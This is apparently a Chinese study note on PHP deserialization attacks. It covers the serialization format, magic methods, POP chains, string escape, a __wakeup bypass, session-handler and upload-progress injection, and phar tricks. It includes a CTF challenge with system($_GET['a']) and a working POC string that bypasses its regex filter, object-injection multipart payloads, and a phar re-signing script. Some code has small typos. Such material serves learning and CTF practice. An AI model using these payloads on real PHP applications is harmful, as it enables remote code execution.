php反序列化

PHP反序列化

面向对象

面向过程

就是分析出解决问题所需要的步骤,然后用函数把这些步骤一步一步实现,使用的时候一个一个依次调用就可以了

面向过程是一种以“整体事件”为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,在一步一步的具体步骤中按顺序调用函数

面向对象

就是把现实中的事物都抽象为“对象”。每个对象是唯一的,且都可以拥有它的属性与行为。我们就可以通过调用这些对象的方法、属性去解决问题。

面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成各个“对象”;对象是一个由信息及对信息进行处理的描述所组成整体,是对现实世界的抽象

定义

类是对一组有相同数据和相同操作的对象的定义,是对象的模板,其包含的方法和数据描述一组对象的共同行为和属性。类是在对象之上的抽象,对象则是类的具体化,是类的实例。类可有其子类,也可有其他类,形成类层次结构

类是定义了一件事物的抽象特点,它将数据的形式以这些数据上的操作封装在一起。

对象是具有类类型的变量,是对类的实例

内部构成:成员变量(属性)+成员函数(方法)

属性:定义在类内部的变量 该变量的值对外是不可见的,但是可以通过方法访问 在类被实例化后,该变量即可成为对象的属性

方法:定义在类的内部,可用于访问对象的数据

继承

让某个类型的对象获得另一个类型的对象的属性和方法。继承就是子类继承父类的特征和行为,使得子类对象(实例)具有父类的实例域和方法,或子类从父类继承方法,使得子类具有父类相同的行为

父类:一个类被其他类继承,可将该类称为父类(基类、超类)

子类:一个类继承其他类,则该类被称为子类(派生类)

类的结构

class hero{//定义类(类名)
var $name;//声明成员变量(属性)
var $sex;
function jineng($var1){//声明成员函数(方法)
echo $this->name;//$this:调用这个类中的属性时使用
echo $var1;//方法传参var可直接调用
}
}

$cyj->new hero();//new:实例化对象 把他赋值为对象cyj
$cyj->name='程咬金'//赋值参数
$cyj->sex='男'
$cyj->jineng('跳跳跳');//调用方法
print_r($cyj);//打印

类的修饰符

  • public:对外公开,访问级别最高
  • protected:只对同一个包中的类或者子类公开
  • 默认:只对同一个包中的类公开
  • private:不对外公开,只能在对象内部访问,访问级别最低
    在这里插入图片描述
class hero{
public $name;
private $sex;
protected $age;
function jineng
echo $this->name;
echo $var1;
}
}
$cyj=new hero();
echo $cyj->name;//可以
echo $cyj->sex;//不行
echo $cyj->age;//不行
class hero{
public $name;
private $sex;
protected $age;
function jineng
echo $this->name;
echo $var1;
}
}
class hero2 extend hero{//子类
function test(){
echo $this->name;
echo $this->sex;
echo $this->age;
}
}
$cyj=new hero();
$cyj2=new hero2;
echo $cyj->name;//可以
echo $cyj2->test();//sex不能触发

方法也可以用修饰符

序列化基础知识

序列化(serialization)(串行化):是将变量转换为可保存或传输的字符串的过程;

image-20240221185603468

类型 例子 序列化结果
空字符 NULL N;
整型 666 i:666;
浮点型 66.6 d:66.6;
布朗型 true b:1;
false b:0;
字符串 ’benben‘ s:6(长度);”benben”
数组 array(‘benben’,’laoli’) a:2(参数数量):{i:0(编号);s:6:”benben”;i:1;s:5:”laoli”;)}

r与R

当两个对象本来就是同一个对象时后出现的对象将会以小写r表示。
不过基础类型不受此条件限制,总是会被序列化

<?php
$x = new stdClass;
$x->a = 1; $x->b = $x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基础类型
$y = new stdClass;
$x->a = $y; $x->b = $y;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
// id(a) == id(b),二者都是$y;
$x->a = $x; $x->b = $x;
// O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}

而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示

<?php
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}

分析:

对于“同一个对象”,php直接对取出的对象引用进行了一次解引用,便将这个 对象 赋给了右值。

"r:" uiv ";"        {
zend_long id;
*p = YYCURSOR;
if (!var_hash) return 0;
id = parse_uiv(start + 2) - 1;
if (id == -1 || (rval_ref = var_access(var_hash, id)) == NULL) { return 0; }
// 待会说 var_hash ,先看下面几行
// r begin
if (rval_ref == rval) { return 0; }
ZVAL_DEREF(rval_ref);
if (Z_TYPE_P(rval_ref) != IS_OBJECT) { return 0; }
// r end
ZVAL_COPY(rval, rval_ref);

return 1;
}

而对于“对象引用”,其反序列化过程与上面小r非常像,不一样的地方在于 r begin 和 r end 之间:

php并没有对取出的引用进行解引用,直接将这个 引用 赋给了右值。
如果取出的引用本身指向的是一个引用,php还会进一步跟到引用指向的对象,创建一个新的指向对应对象的引用,赋给右值。

// 略
if (id == -1 || (rval_ref = var_access(var_hash, id)) == NULL) { return 0; }
// R begin
if (Z_ISUNDEF_P(rval_ref) || (Z_ISREF_P(rval_ref) && Z_ISUNDEF_P(Z_REFVAL_P(rval_ref)))) { return 0; }

if (!Z_ISREF_P(rval_ref)) {
zend_property_info *info = NULL;
if ((*var_hash)->ref_props) {
info = zend_hash_index_find_ptr((*var_hash)->ref_props, (zend_uintptr_t)rval_ref);
}
ZVAL_NEW_REF(rval_ref, rval_ref);
if (info) { ZEND_REF_ADD_TYPE_SOURCE(Z_REF_P(rval_ref), info); }
}
// R end
ZVAL_COPY(rval, rval_ref);

R/r后的数字:

那么,R/r后面跟的数字是怎么决定的呢?首先我们先来“黑箱分析”一下:

<?php

// e.g 1
$x = array(new stdClass);
$x[1] = &$x[0];
echo serialize($x);
// a:2:{i:0;O:8:"stdClass":0:{}i:1;R:2;} ⬇️ 注意这,变了
var_dump(unserialize('a:2:{i:0;O:8:"stdClass":0:{}i:1;R:1;}'));
/* 压缩了一下(
array(2) {
[0]=> object(stdClass)#2 (0) {}
[1]=> array(2) {
[0]=> object(stdClass)#2 (0) {}
[1]=> *RECURSION*
}
}
*/

// e.g 2
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;} ⬇️ 同上
var_dump(unserialize('O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:1;} '));
/*
object(stdClass)#3 (2) {
["a"]=> int(1)
["b"]=> *RECURSION*
}
*/

相信大家定睛看两眼上面的例子就能猜出,R/r后面的数字指代的是在 同一反序列化过程中
出现过的第n个非键(key)对象(我又在瞎起名字了)

看过上面的源码以后很容易猜到,在反序列化过程中

if (id == -1 || (rval_ref = var_access(var_hash, id)) == NULL) { return 0; }

这一步正是上面取值的关键。在反序列化过程中我们看到 php_var_unserialize_internal 函数在一开头就进行了 var_push(var_hash, rval); 这样的操作(当然前提是反序列化的对象的标记不能是’R’,因为“引用”本身如果也计算在内,那么就有可能出现循环引用。浙恒河里),而 var_push 正是向列表 var_hash append一个新的元素。

其实 var_hash 并不单单是一个列表,只是本文为方便这么说罢了。

这时候就有同学要问了,数组的index是数字,对象的属性名是字符串,它们都存在于反序列化过程当中,为什么它们没有被append进 var_hash 呢?我们回头看一下 var_push 的条件:

if (var_hash && (*p)[0] != 'R') {

后面那个’R’已经在恒河里了,那么前面那个 var_hash 非 NULL 的判断意义何在呢?
桥豆麻袋,var_hash 是哪里来的呢?
php_var_unserialize_internal 的参数里有个宏

#define UNSERIALIZE_PARAMETER \
zval *rval, const unsigned char **p, \
const unsigned char *max, \
php_unserialize_data_t *var_hash
static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER, int as_key);

自然而然地,我们回去看这个internal是怎么调用的,看看什么情况下传入的 var_hash 为 NULL:

// 高度简化版
static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER, int as_key) {
if match "a:<arr_len>" {
...
process_nested_data(UNSERIALIZE_PASSTHRU, ...);
...
}
if match "O:<type>:<cnt_attrs>" {
...
object_common(UNSERIALIZE_PASSTHRU, ...);
...
}
}

static inline int object_common(UNSERIALIZE_PARAMETER, zend_long elements, zend_bool has_unserialize) {
...
process_nested_data(UNSERIALIZE_PASSTHRU, ...);
...
}

static zend_always_inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, zend_long elements, zend_object *obj) {
while (elements-- > 0) {
zval key, *data;
zend_property_info *info = NULL;
php_var_unserialize_internal(&key, p, max, NULL, 1);
// assert type(key) == string or type(key) == long
if (obj) {
// assert string(key) in dir(obj)
// obj[key] = new ref info // zend_get_typed_property_info_for_slot
}
php_var_unserialize_internal(data, p, max, var_hash, 0);
if (info) {
// some checks
zend_ref_add_type_source(Z_REF_P(data), info);
}
// 略
}
}

可以看到,当反序列化数组、对象这种东西的时候,只有反序列化 值时会传入 var_hash 这个列表, 键并不存在于这个对象中的列表中。真相大白。

注:

$x = array(new stdClass);
$x[1] = &$x;
echo serialize($x);
// a:2:{i:0;O:8:"stdClass":0:{}i:1;a:2:{i:0;r:2;i:1;R:3;}}

对象的序列化

class test{
public $pub='benben';
public $ben='laoli';
function jineng(){
echo $this->pub;
}
}
$a=new test();
echo serialize($a)


//O:4(类名长)"test"(类名):2(属性数);{s:3(属性名长):"pub"(属性名);s:6(值长):"benben"(值);s:3:"ben";s:5:"laoli";}

image-20240221200228499

当属性类型为public时 会将属性名(test)变为’空’类名属性名’空’(%00(url编码后)test%00pub) 所以前面是9

image-20240221200501785

同理protected

image-20240221200821384

image-20240221200850913

(0*0-->空*空)

套娃

image-20240221201215657

把一个序列化的对象赋值给ben了

反序列化

反序列化是将字符串转换成变量或对象的过程

·反序列化之后的内容为一个对象

·反序列化生成的对象里的值由反序列化里的值提供,与原有类预定义的值无关

·反序列化不触发类的方法,除非是魔术方法或调用方法

反序列化漏洞

成因:反序列化过程中,unserialize()的值可控,通过更改这个值,得到所需要的代码

魔术方法

定义

一个预定义好的,在特定情况下自动触发的行为方法

魔术方法在特定条件下自动调用相关方法

介绍

image-20240221205308936

__construct()

构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法

image-20240221205909384

__destruct()

析构函数,在对象所有的引用被删除或者当对象被显式销毁时执行的魔术方法

image-20240221210856966

在序列化过程中不会触发

在反序列化过程中会触发

实例化对象结束后也会触发

__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep(),若存在,则该方法会先被调用,再执行序列化

返回需要被序列化存储的成员属性,删除不必要的属性

image-20240221212013413

__wakeup()

与__sleep()相反

反序列化unserialize()会检查是否存在一个__wakeup()方法,若存在,则会先调用该方法。预先准备对象需要的资源

image-20240221212801941

__toString()

把对象当作字符串调用时触发 echo

image-20240221213659411

__invoke()

把对象当作函数调用时触发 return

image-20240221213830977

__call()

调用一个不存在的方法时触发 $this->aa

两个参数$arg1,$arg2

返回值:调用的不存在的方法名和参数

image-20240221214624310

__callStatic()

静态调用或者调用成员常量时使用的方法不存在,此时触发

两个参数$arg1,$arg2

返回值:调用的不存在的方法和名称的参数

image-20240221214943446

__get()

调用的成员属性不存在时触发 $this->aa->bb

一个参数$arg1

返回值:不存在的属性名

image-20240221215200717

__set()

给不存在的属性赋值时触发

两个参数$arg1,$arg2

返回值:不存在的属性名和赋的值

image-20240221215600389

__isset()

对不可访问属性使用isset()或empty()时,触发

一个参数$arg1

返回值:不存在/不可访问的属性名

image-20240221220406133

__unset()

对不可访问属性使用unset()时触发

一个参数$arg1

返回值:不可访问的成员属性名

image-20240221220715991

__clone()

当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone

image-20240221221003602

总结

image-20240221221040252

image-20240221221103912

POP链

前置

例题

image-20240221222425146

思路:

image-20240221222455837

这里的__construction不会被调用,因为没有序列化

法1:

image-20240221222807543

image-20240221222830808

法2:

1.删去没用的

image-20240221223408086

2.类外赋值

image-20240221223556996

魔术方法触发前提:魔术方法所在类(或对象)被调用

image-20240222185057772

pop链构造与poc编写

pop链就是利用魔术方法在里面进行多次跳转 然后获取敏感数据的一种payload

poc:概念验证,在安全界可以理解成漏洞验证程序,poc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码

image-20240222191258816

image-20240222194203684

字符串逃逸

反序列化分隔符

反序列化以;}结束,后面的字符不影响正常的反序列化

属性逃逸

一般的数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候很有可能存在反序列化属性逃逸

减少逃逸

image-20240222200324129

image-20240222200602151

image-20240222215131008

image-20240222215710380

image-20240222220117373

例题

image-20240222223402500

image-20240222223656946

image-20240222223727807

增多逃逸

image-20240222220245356

image-20240222220425811

image-20240222220654985

例题

image-20240222222118718

image-20240222222353281

image-20240222222407358

image-20240222223129660

__wakeup绕过

条件:

php5<5.6.25

php7<7.0.10

序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行

image-20240227194527697

image-20240227194811041

image-20240227194915527

image-20240227195002743

+可以绕过正则表达式

image-20240227195216055

当正则过滤R/r后数字时 可以用引用绕过

但是__wakeup中要有:$this->b = $this->a;

帕鲁杯R23

<?php
show_source(__FILE__);
class a{
public function __get($a){
$this->b->love();
}
}

class b{
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}

class xk{
public function love(){
system($_GET['a']);
}
}

if(preg_match('/R:2|R:3/',$_GET['pop'])){
die("no");
}
unserialize($_GET['pop']);

poc:

<?php
//show_source(__FILE__);
class a{
// public $b;
// public function __get($a){
// $this->b->love();
// }
}

class b{
// public $a;
// public $b;
// public $c;
// public function __destruct(){
// $tmp = $this->c->name;
// }
// public function __wakeup(){
// $this->c = "no!";
// $this->b = $this->a;
// }
}

class xk{
// public function love(){
// system($_GET['a']);
// }
}
//
//if(preg_match('/R:2|R:3/',$_GET['pop'])){
// die("no");
//}
//unserialize($_GET['pop']);

$a = new a();
$b = new b();
$xk = new xk();

$a->b = $xk;
$b->a = $a;
$b->b = &$b->c;


print_r(serialize($b));
O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}s:1:"c";N;s:1:"b";R:4;}

也可以想其他办法将R后的数字改了

引用

例:

image-20240227200401573

image-20240227200430070

image-20240227200441675

构造

$a->enter=&$a->secret

使enter的值随secret变化而变化

secret再取enter的值 就一样了

session反序列化

使用

当session_start()被调用或者php.ini中的session.auto_star为1时,php内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)

image-20240227201906897

image-20240228235355463

赋值123456

image-20240228235539736

键名+竖线+经过serialize()函数处理过的值

image-20240228235926447

image-20240229000033551

image-20240229000223635

image-20240229000546732

image-20240229003011924

image-20240229003051944

image-20240229003121533

例:

image-20240303175045112

image-20240303175336453

image-20240303175451812

image-20240303175554019

补:

php session理解

定义

session:

Session一般称为“会话控制”,简单来说就是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同。

php session:

PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更该用户会话的设置,需要注意的是,**PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的*且其对应的具体 session 值会存储于服务器端*,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。

php session工作流程:

会话工作流程很简单,当开始一个会话时,PHP会尝试从请求中查找会话ID(通常通过会话cookie),如果发现请求的CookieGetPost中不存在session id,PHP就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及formhidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。

会话开始后,PHP就会将会话中的数据设置到$_SESSION变量中,如下述代码就是一个在$_SESSION变量中注册变量的例子:

<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'xianzhi' ;
}
?>

当PHP停止的时候,它会自动读取$_SESSION中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存

默认情况下,PHP 使用内置的文件会话保存管理器来完成session的保存,也可以通过配置项 session.save_handler 来修改所要采用的会话保存管理器对于文件会话保存管理器,会将会话数据保存到配置项session.save_path所指定的位置。可参考下图:

image-20240502143605251

php session在php.ini中的配置

PHP sessionphp.ini中主要存在以下配置项:

session.save_handler=files     该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数  这里表明session是以文件的方式来进行存储的

session.serialize_handler=php 该配置主要设定用户自定义存储函数 这里表明session的默认序列话引擎使用的是php处理器引擎

session.save_path="D:\PHP\phpStudy\PHPTutorial\tmp\tmp" 该配置主要设置session的存储路径 这里表明所有的session文件都是存储在xampp/tmp下

session.auto_start=0 表明默认不启动session
  • session.save_handler=””

该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数

  • session.serialize_handler

定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同,具体可见下文所述

参考,下面主要谈谈session.serialize_handler配置项。

处理器与利用

上文中提到的PHP session的序列化机制是由session.serialize_handler来定义引擎的,引擎也就是php处理器,而序列化后的字符串默认是以文件的方式存储且存储的文件是由sess_sessionid来决定文件名的,如下:

image-20240502143933690

当然这个文件名也不是不变的,如Codeigniter框架的 session存储的文件名为ci_sessionSESSIONID等。

并且文件的内容始终是session值的序列化之后的内容。

利用函数

1.PHP提供了session.serialize_handler配置的选项,可以用来定义要使用的处理器,默认是php,如果想要使用其他的就需要使用ini_set()函数,格式如下:

<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");

2.要想使用session,第一步就是开启session,这也是session的第一阶段这是就需要使用session_start()函数

这个函数的作用就是开启session,开启之后读取cookie信息判断是否存在session_id,如果存在就是用这个session_id,如果没有就会随机生成一个唯一的32位的session_id。通过这个session_id就可以绑定一个唯一的用户。

这个过程还会初始化$SESSION这个变量,但是有两种情况:

  • 若没有这个session文件,就会读取cookie信息的内容从而序列化数据创建$_SESSION变量并创建一个session文件;
  • 若存在session文件,读取session文件中的内容,把内容反序列化之后赋值到$SESSION这个变量中**,这个阶段还有一个特别关键的作用,还会判断那些session文件已经过期,调用gc进程,删除掉过期的session文件

参考1以及2

php处理器

sessin.serialize_handler定义的引擎有三种,如下表所示:

处理器名称 存储格式
php 键名+竖线+经过serialize()函数序列化处理的值
php_binary 键名的长度对应的ASCII字符(如键长为35则对应#)+键名+经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

:从PHP 5.5.4起可以使用php_serialize

上述三种处理器中,*php_serialize在内部简单地直接使用 serialize/unserialize函数*,并且不会有phpphp_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(|!) 。

测试一下,demo如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
php处理器

image-20240502144559398

解析一下:
序列化的结果为:session|s:6:"Fupanc";

其中session为$_SESSION[‘session’]的键名,|为传入GET参数经过序列化后的值。

php_binary处理器

image-20240502145305649

将指定处理器函数的参数php改为这个就行,为了方便看,将键名改长一些,(否则对应的ascii字符不可见),测试结果如下

demo改为:

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionseesionsessionsessionsession'] = $_GET['session'];
?>

结果如下:

image-20240502145320585

两张图片可以对比一下

序列化的结果为:#sessionsessionsessionsessionsessions:6:"Fupanc";

解析一下:
#即为长度为35在ascii对应的符号

image-20240502145401992

sessionsessionsessionsessionsessions是键名,

注意:

这里序列化后的结果会在原代码设置的键名后加一个s,测试了一下,无论大写为多少

6:"Fupanc";即为序列化后的字符串。

php_serialize 处理器

demo如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

测试结果:

image-20240502145746648

序列化结果为:a:1:{s:7:"session";s:6:"Fupanc";}

解析:
a:1表示$_SESSION数组中有一个元素,或括号里面的内容即为传入GET参数经过序列化后的值。

利用方式

自建环境模拟

建造一个环境,有两个文件,分别如下:

flag.php:

这个页面用于接受session的值

<?php
highlight_file
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

1.php:

这个页面用于测试反序

<?php
highlight_file(__FILE__);
ini_set('session.serialize_handller','php');
session_start();
class test{
public $name;
function __construct(){
$this->name='haha';
}
function __destruct(){
print_r($this->name);

}
}
$a=new test();
?>

先访问1.php,输出

image-20240502145916097

这里开启了session_start()函数,可以在flag.php页面利用session变量进行反序列化。如下构造payload:

image-20240502145939815

再在flag.php页面传入这个参,但是需要在前面加上一个|,这是因为php处理器会把|前面的内容当做键,后面的内容才会被反序列化后赋值给session变量

image-20240502150059478

此时的session:

a:1:{s:7:"session";s:40:"|O:4:"test":1:{s:4:"name";s:6:"diyici";}";}

这里可以看到成功写入,这是再访问以下1.php

成功反序列化

image-20240502150217878

但是这里的局限性太大,有如下条件:

  • 两个文件session引擎配置不同
  • 其中一个session可控
  • 两个文件同域

这个只是一个简单的复现过程,真实题目应该不能自己传session进去,现在看看稍真实页面是如何打的。

利用session.upload_progress进行反序列化-方式一

结合下述Session上传进度,这个方法需要php≥5.4

漏洞官方说明

这个漏洞条件官方说的挺清楚的,简单说明一下使用这个方法的条件

条件:

  1. session.upload_progress.enabled = On(是否启用上传进度报告)
  2. session.upload_progress.cleanup = Off(是否上传完成之后删除session文件-这里需要为Off)

这两个都是可在查的

image-20240502150413937

当enabled被设置为on时,此时再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储到session,所以上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload

对session上传进度说明一下:

image-20240502150438892

但是需要自己构造一个文件上传表单,代码如下:

<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

,在上传文件(必须上传)时抓包,直接借用官方的说明,有两种改法(第二种待验证)来进行反序:

-POST_RAW--
Content-Type: multipart/form-data; boundary=---------------------------20896060251896012921717172737
-----------------------------20896060251896012921717172737
Content-Disposition: form-data; name="PHPSESSID"

session-data-injection
-----------------------------20896060251896012921717172737
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

|xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxO:3:"obj":0:{}
-----------------------------20896060251896012921717172737
Content-Disposition: form-data; name="file"; filename="file.txt"

1
-----------------------------20896060251896012921717172737--

第一个就是上述官方改法,还有一个是在文章里看到可以改将filename那个file.txt改成payload(文章基本都是这样改的,在值里面改肯能会应该出现|导致数据写入session失败)

但是文件名需要注意防止引号被转义同时也是为了防止与最外层的双引号冲突,需要使用\来说明,借用文章代码说明一下(待验证-还是很多文章都在用这种改法):

-----------------------------23899461075638356511525184357
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123
-----------------------------23899461075638356511525184357
Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
Content-Type: text/plain

123
-----------------------------23899461075638356511525184357--

上传成功就可以直接在Index.php页面利用这个payload

利用session.upload_progress进行反序列化-方式二

同样需要php≥5.4

这个方法着重于解决当配置如下使如何解决,一般这个是php.ini的默认项:

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"

这里与上面的最主要的区别就是session.upload_progress.cleanup = on,表示当文件上传结束后,php将会立即清空对应session文件中的内容,也就代表我们每次正常访问session文件时都是空文件。所以想要利用就需要竞争。

如果cleanup被设置为On,就需要使用条件竞争

==还有一个比较重要的配置:==
session.use_strict_mode=off,这个选项默认值为off,表示我们对cookie中的sessionid可控。这一点很重要。

开始解析:

  • 配置文件中的session.use_strict_mode默认为0时,这个情况下,用户可以定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去。
  • 由于在这种情况下cleanup的值为on,所以文件上传成功后文件内容会马上被清空,此时就需要利用Python的多线程来条件竞争

参考文章:https://www.freebuf.com/vuls/202819.html

其他例题参考:
简单过程说明以及其他ctf题解文章

phar反序列化

phar反序列化基础

phar是一种文件

image-20240303175826285

phar与反序列化关系

image-20240303180037559

结构:
image-20240303180142912

image-20240303180338837

image-20240303180413877

image-20240303180429119

原理:

image-20240303180705908

例1:

image-20240303180820143

image-20240303181134271

(改类名 命令)

image-20240303181349949

条件:

image-20240303181625522

例2:

image-20240303181818732

image-20240303181937798

image-20240303182021472

image-20240303182128988

生成.phar文件

image-20240303182310868

版本问题

把php.ini中的参数(phar.readonly)改了

不挑后缀

text.phar->text.jpg

image-20240303182806367

image-20240303182838379

脏数据污染

phar支持的格式

phar文件可以是下面三种格式:

  • zip .zip .phar.zip
  • tar .tar .phar.tar .pahr..tar.gz .phar.tar.bz
  • phar .phar .phar.bz2 bzip2 phar.phar

在实战中的利用

  1. 可以使用压缩包的方法直接将数据压缩为zip,tar,tar.gz,tar.bz从而绕过stub或反序列化字段的检测(zip不会压缩反序列化数据段)
  2. 可以使用.phar格式修复的方法解决phar文件头部(使用phar)或者文件尾(使用tar)被添加脏数据的问题

zip添加脏数据

— 头尾均可添加脏数据但是phar无法解析

https://github.com/phith0n/PaddingZip

python paddingzip.py -i ../test.phar.zip -o ../test1.phar.zip --prepend "this prepend to the start" --append "this append to the end"

此外在readme手册中还提到可以在linux中通过以下方式添加脏数据:

$ echo -n "prepend" > f
$ cat f a.zip > b.zip
$ zip -F b.zip --out c.zip

在phar中的使用限制

ZIP格式的文件头尾都可以有脏字符,通过对偏移量的修复就可以重新获得一个合法的zip文件。但是否遵守这个规则,仍然取决于zip解析器,经过测试,phar解析器如果发现文件头不是zip格式,即使后面偏移量修复完成,也将触发错误

虽然zip添加不了脏数据让人大失所望,但是却在这里看到了zip却只要将phar的内容写进压缩包注释中,也同样能够反序列化,而且压缩后的zip数据也可以绕过stub检测,但是过不了反序列化数据检测(和Phar执行zip生成格式差不多,但是挺有意思的记一下吧)

<?php
class test{
public function __wakeup(){
var_dump(__FUNCTION__);
}
}
phar_file = serialize(new test());zip = new ZipArchive();
res =zip->open('justzip.zip',ZipArchive::CREATE);
zip->addFromString('h0cksr.txt', 'file content goes here');zip->setArchiveComment(phar_file);zip->close();

readfile("phar://justzip.zip");

哪些场景不能解析带脏字符的zip文件呢?

  1. Java -jar执行这个带脏字符的jar包时会失败
  2. PHP无法解析
  3. 7zip无法解析

tar添加脏数据

— 可以在文件尾添加脏数据且phar正常解析

对于tar格式,如果能控制文件头,即可构造合法的tar文件,即使文件尾有垃圾字符

这个测试的话毫无技术要求,直接使用010打开tar文件, 然后触发调用可以看到phar反序列化还是被正常执行了

<?php
//class test{
// public function __wakeup(){
// var_dump(__FUNCTION__);
// }
//}
//phar=new phar('test.phar');//后缀名必须为phar
//phar = phar->convertToExecutable(Phar::TAR);
//phar->startBuffering();
/*phar->setStub("<?php __HALT_COMPILER();?>");//设置stub*/
//obj=new test();
//phar->setMetadata(obj);//自定义的meta-data存入manifest
//phar->addFromString("flag.txt","flag{h0cksr}");//添加要压缩的文件
////签名自动计算
//phar->stopBuffering();
//?>
<?php
class test{
public function __wakeup(){
var_dump(__FUNCTION__);
}
}
var_dump(
file_get_contents("compress.zlib://phar://test1.phar.tar/flag.txt")//未修改,读取数据失败,反序列化触发成功
);
var_dump(
file_get_contents("compress.zlib://phar://test2.phar.tar/flag.txt")//文件头添加内容,读取数据失败,反序列化触发失败
);
var_dump(
file_get_contents("compress.zlib://phar://test3.phar.tar/flag.txt")//文件尾添加内容,读取数据失败,反序列化触发成功
);

这段PHP代码主要展示了如何使用Phar归档文件,以及如何通过Phar文件来触发对象的反序列化。Phar是一种PHP的归档格式,允许开发者将多个PHP文件打包成一个文件,并可以直接通过PHP解释器执行。

然而,代码中有一些注释掉的部分,这些部分原本是用来创建Phar文件的。代码的目的似乎是为了测试不同情况下通过Phar文件读取数据时,是否能够成功触发对象的反序列化。

此外还在使用 tar 绕过签名看到可以直接使用打包一个只放了反序列化数据的.metadata文件生成的.tar压缩包可以直接用来触发反序列化

linux环境下执行 mkdir test;cd test mkdir .phar;cd .phar echo ‘O:4:”test”:0:{}’ > .metadata cd ../.. tar -cf phar.tar .phar/ 生成的phar.tar可以直接通过phar://phar.tar触发反序列化

pahr文件

— 可以在文件头添加脏数据且phar正常解析

phar格式,必须控制文件尾,但不需要控制文件头。PHP在解析时会在文件内查找<?php __HALT_COMPILER(); ?>这个标签,这个标签前面的内容可以为任意值,但后面的内容必须是phar格式,并以该文件的sha1签名与字符串GBMB结尾。

phar格式可以直接在文件头加脏数据并且还能正常反序列化, 但是这点需要重新计算一下签名, 下面就是修正签名的脚本

import hashlib

with open('phar.phar', 'rb') as f:
content = f.read()

text = content[:-28]
end = content[-8:]
sig = hashlib.sha1(text).digest()

with open('phar_new.phar', 'wb+') as f:
f.write(text + sig + end)

